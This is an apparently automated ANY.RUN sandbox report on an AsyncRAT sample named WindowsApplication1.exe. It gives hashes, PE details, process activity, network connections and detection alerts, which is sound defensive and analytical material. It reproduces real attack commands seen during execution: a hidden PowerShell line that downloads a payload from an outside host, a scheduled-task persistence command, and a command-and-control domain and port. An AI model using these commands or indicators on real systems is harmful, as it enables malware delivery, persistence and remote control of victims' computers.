File name:

WindowsApplication1.exe

Full analysis: https://app.any.run/tasks/fa9c5cde-48de-4370-8067-64a43e3d96a5
Verdict: Malicious activity
Threats:

AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions.

Analysis date: February 29, 2020, 02:00:24
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
rat
asyncrat
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:

042B94A1B959038C29E6EC6B22305585

SHA1:

C62A08E8416A8A77465512FFF0F407E7936CE389

SHA256:

BE42974C3FAA0E2A30BA88253D78BA2DAE0CE02CE7BC57B2655C8D54F248E445

SSDEEP:

1536:z5aXCj7uZrwz6PuI/ecFSVaWSModBAHRUOvh:z5aXCj7WrDPuSeGlVAxUOZ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • Server.exe (PID: 2448)
      • Server.exe (PID: 2068)
      • windows.exe (PID: 3260)
      • Program.exe (PID: 3472)
    • Executes PowerShell scripts

      • cmd.exe (PID: 3740)
    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 2056)
    • Uses Task Scheduler to run other applications

      • cmd.exe (PID: 3740)
    • Changes settings of System certificates

      • windows.exe (PID: 3260)
      • powershell.exe (PID: 2556)
    • ASYNCRAT was detected

      • windows.exe (PID: 3260)
  • SUSPICIOUS

    • Uses ATTRIB.EXE to modify file attributes

      • cmd.exe (PID: 3768)
    • Executable content was dropped or overwritten

      • WindowsApplication1.exe (PID: 660)
      • powershell.exe (PID: 2556)
    • Creates files in the user directory

      • powershell.exe (PID: 2556)
    • Starts CMD.EXE for commands execution

      • Server.exe (PID: 2448)
      • windows.exe (PID: 3260)
    • Executed via Task Scheduler

      • windows.exe (PID: 3260)
    • Adds / modifies Windows certificates

      • windows.exe (PID: 3260)
      • powershell.exe (PID: 2556)
    • Connects to unusual port

      • windows.exe (PID: 3260)
  • INFO

    • Reads settings of System Certificates

      • powershell.exe (PID: 2556)
      • windows.exe (PID: 3260)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Generic CIL Executable (.NET, Mono, etc.) (62)
.exe | Win64 Executable (generic) (23.3)
.dll | Win32 Dynamic Link Library (generic) (5.5)
.exe | Win32 Executable (generic) (3.8)
.exe | Win16/32 Executable Delphi generic (1.7)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2020:02:29 01:17:34+01:00
PEType: PE32
LinkerVersion: 8
CodeSize: 81408
InitializedDataSize: 13824
UninitializedDataSize: -
EntryPoint: 0x15d8e
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
FileVersionNumber: 1.0.0.0
ProductVersionNumber: 1.0.0.0
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: Neutral
CharacterSet: Unicode
Comments: Windows
CompanyName: Windows
FileDescription: Windows
FileVersion: 1.0.0.0
InternalName: WindowsApplication1.exe
LegalCopyright: Copyright © 2020
OriginalFileName: WindowsApplication1.exe
ProductName: Windows
ProductVersion: 1.0.0.0
AssemblyVersion: 1.0.0.0

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 29-Feb-2020 00:17:34
Comments: Windows
CompanyName: Windows
FileDescription: Windows
FileVersion: 1.0.0.0
InternalName: WindowsApplication1.exe
LegalCopyright: Copyright © 2020
OriginalFilename: WindowsApplication1.exe
ProductName: Windows
ProductVersion: 1.0.0.0
Assembly Version: 1.0.0.0

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x00000080

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 3
Time date stamp: 29-Feb-2020 00:17:34
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00002000
0x00013D94
0x00013E00
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
7.26065
.rsrc
0x00016000
0x00003400
0x00003400
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
3.53341
.reloc
0x0001A000
0x0000000C
0x00000200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
0.10191

Resources

Title
Entropy
Size
Codepage
Language
Type
1
5.00112
490
UNKNOWN
UNKNOWN
RT_MANIFEST
2
1.71396
744
UNKNOWN
UNKNOWN
RT_ICON
3
2.0843
296
UNKNOWN
UNKNOWN
RT_ICON
4
1.72071
2216
UNKNOWN
UNKNOWN
RT_ICON
5
1.04772
1384
UNKNOWN
UNKNOWN
RT_ICON
6
4.04524
851
UNKNOWN
UNKNOWN
RT_ICON
7
2.72257
4264
UNKNOWN
UNKNOWN
RT_ICON
8
2.76148
1128
UNKNOWN
UNKNOWN
RT_ICON
32512
2.68921
104
UNKNOWN
UNKNOWN
RT_GROUP_ICON

Imports

mscoree.dll
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
57
Monitored processes
18
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
drop and start drop and start drop and start start windowsapplication1.exe program.exe no specs server.exe no specs server.exe cmd.exe no specs cmd.exe no specs cmd.exe no specs attrib.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs powershell.exe schtasks.exe no specs cmd.exe no specs cmd.exe no specs #ASYNCRAT windows.exe cmd.exe no specs timeout.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
660"C:\Users\admin\AppData\Local\Temp\WindowsApplication1.exe" C:\Users\admin\AppData\Local\Temp\WindowsApplication1.exe
explorer.exe
User:
admin
Company:
Windows
Integrity Level:
MEDIUM
Description:
Windows
Exit code:
0
Version:
1.0.0.0
Modules
Images
c:\users\admin\appdata\local\temp\windowsapplication1.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
1064timeout 3 C:\Windows\system32\timeout.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
timeout - pauses command processing
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\timeout.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ws2_32.dll
2056SCHTASKS /Create /SC MINUTE /MO 1 /TN "Update" /TR "C:\Users\admin\AppData\Roaming\update\windows.exe"C:\Windows\system32\schtasks.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
2068"C:\Users\admin\AppData\Local\Temp\Server.exe" C:\Users\admin\AppData\Local\Temp\Server.exeWindowsApplication1.exe
User:
admin
Company:
computer
Integrity Level:
MEDIUM
Description:
computer
Exit code:
3221226540
Version:
1.2.0.0
Modules
Images
c:\users\admin\appdata\local\temp\server.exe
c:\systemroot\system32\ntdll.dll
2448"C:\Users\admin\AppData\Local\Temp\Server.exe" C:\Users\admin\AppData\Local\Temp\Server.exe
WindowsApplication1.exe
User:
admin
Company:
computer
Integrity Level:
HIGH
Description:
computer
Exit code:
0
Version:
1.2.0.0
Modules
Images
c:\users\admin\appdata\local\temp\server.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\winmm.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2556powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object System.Net.WebClient).DownloadFile('https://e.top4top.io/p_1519co8mi1.jpg',\"$env:APPDATA\update\windows.exe\")C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2652attrib +h C:\Users\admin\AppData\Local\Temp\ztmpC:\Windows\system32\attrib.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Attribute Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\attrib.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ulib.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2760C:\Windows\system32\cmd.exe /c if exist "C:\Users\admin\AppData\Local\Temp\ztmp\tmp6994.bat" del "C:\Users\admin\AppData\Local\Temp\ztmp\tmp6994.bat"C:\Windows\system32\cmd.exeServer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3044C:\Windows\system32\cmd.exe /c if exist "C:\Users\admin\AppData\Local\Temp\ztmp\tmp6994.bat" del "C:\Users\admin\AppData\Local\Temp\ztmp\tmp6994.bat"C:\Windows\system32\cmd.exeServer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3064C:\Windows\system32\cmd.exe /c if exist "C:\Users\admin\AppData\Local\Temp\ztmp\tmp4380.exe" del "C:\Users\admin\AppData\Local\Temp\ztmp\tmp4380.exe"C:\Windows\system32\cmd.exeServer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
1 930
Read events
655
Write events
1 271
Delete events
4

Modification events

(PID) Process:(660) WindowsApplication1.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(660) WindowsApplication1.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(2556) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(2556) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(2556) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(2556) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
4294901760
(PID) Process:(2556) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
4294901760
(PID) Process:(2556) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(2556) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
(PID) Process:(2556) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableFileTracing
Value:
0
Executable files
3
Suspicious files
8
Text files
3
Unknown types
1

Dropped files

PID
Process
Filename
Type
2556powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\E7RQ4BW8WR7Y2QFUZC2E.temp
MD5:
SHA256:
3260windows.exeC:\Users\admin\AppData\Local\Temp\CabEBFE.tmp
MD5:
SHA256:
3260windows.exeC:\Users\admin\AppData\Local\Temp\TarEBFF.tmp
MD5:
SHA256:
3260windows.exeC:\Users\admin\AppData\Local\Temp\CabEC1F.tmp
MD5:
SHA256:
3260windows.exeC:\Users\admin\AppData\Local\Temp\TarEC20.tmp
MD5:
SHA256:
3260windows.exeC:\Users\admin\AppData\Local\Temp\CabEC8F.tmp
MD5:
SHA256:
3260windows.exeC:\Users\admin\AppData\Local\Temp\TarEC90.tmp
MD5:
SHA256:
3260windows.exeC:\Users\admin\AppData\Local\Temp\CabED0E.tmp
MD5:
SHA256:
3260windows.exeC:\Users\admin\AppData\Local\Temp\TarED0F.tmp
MD5:
SHA256:
3260windows.exeC:\Users\admin\AppData\Local\Temp\CabED3F.tmp
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
4
DNS requests
3
Threats
7

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3260
windows.exe
GET
304
8.253.95.249:80
http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
US
compressed
55.4 Kb
whitelisted
3260
windows.exe
GET
200
8.253.95.249:80
http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
US
compressed
55.4 Kb
whitelisted
3260
windows.exe
GET
304
8.253.95.249:80
http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
US
compressed
55.4 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2556
powershell.exe
163.172.212.106:443
e.top4top.io
Online S.a.s.
NL
unknown
3260
windows.exe
141.255.152.181:6606
al3nzii.myq-see.com
Lost Oasis SARL
NL
malicious
3260
windows.exe
8.253.95.249:80
www.download.windowsupdate.com
Global Crossing
US
suspicious

DNS requests

Domain
IP
Reputation
e.top4top.io
  • 163.172.212.106
unknown
al3nzii.myq-see.com
  • 141.255.152.181
malicious
www.download.windowsupdate.com
  • 8.253.95.249
  • 8.241.91.126
  • 8.253.204.249
  • 8.241.79.254
  • 8.238.30.254
whitelisted

Threats

PID
Process
Class
Message
1052
svchost.exe
Potential Corporate Privacy Violation
ET INFO Observed DNS Query to .myq-see .com DDNS Domain
3260
windows.exe
A Network Trojan was detected
MALWARE [PTsecurity] AsyncRAT
3260
windows.exe
A Network Trojan was detected
MALWARE [PTsecurity] AsyncRAT
3260
windows.exe
A Network Trojan was detected
MALWARE [PTsecurity] AsyncRAT
3260
windows.exe
A Network Trojan was detected
MALWARE [PTsecurity] AsyncRAT
2 ETPRO signatures available at the full report
No debug info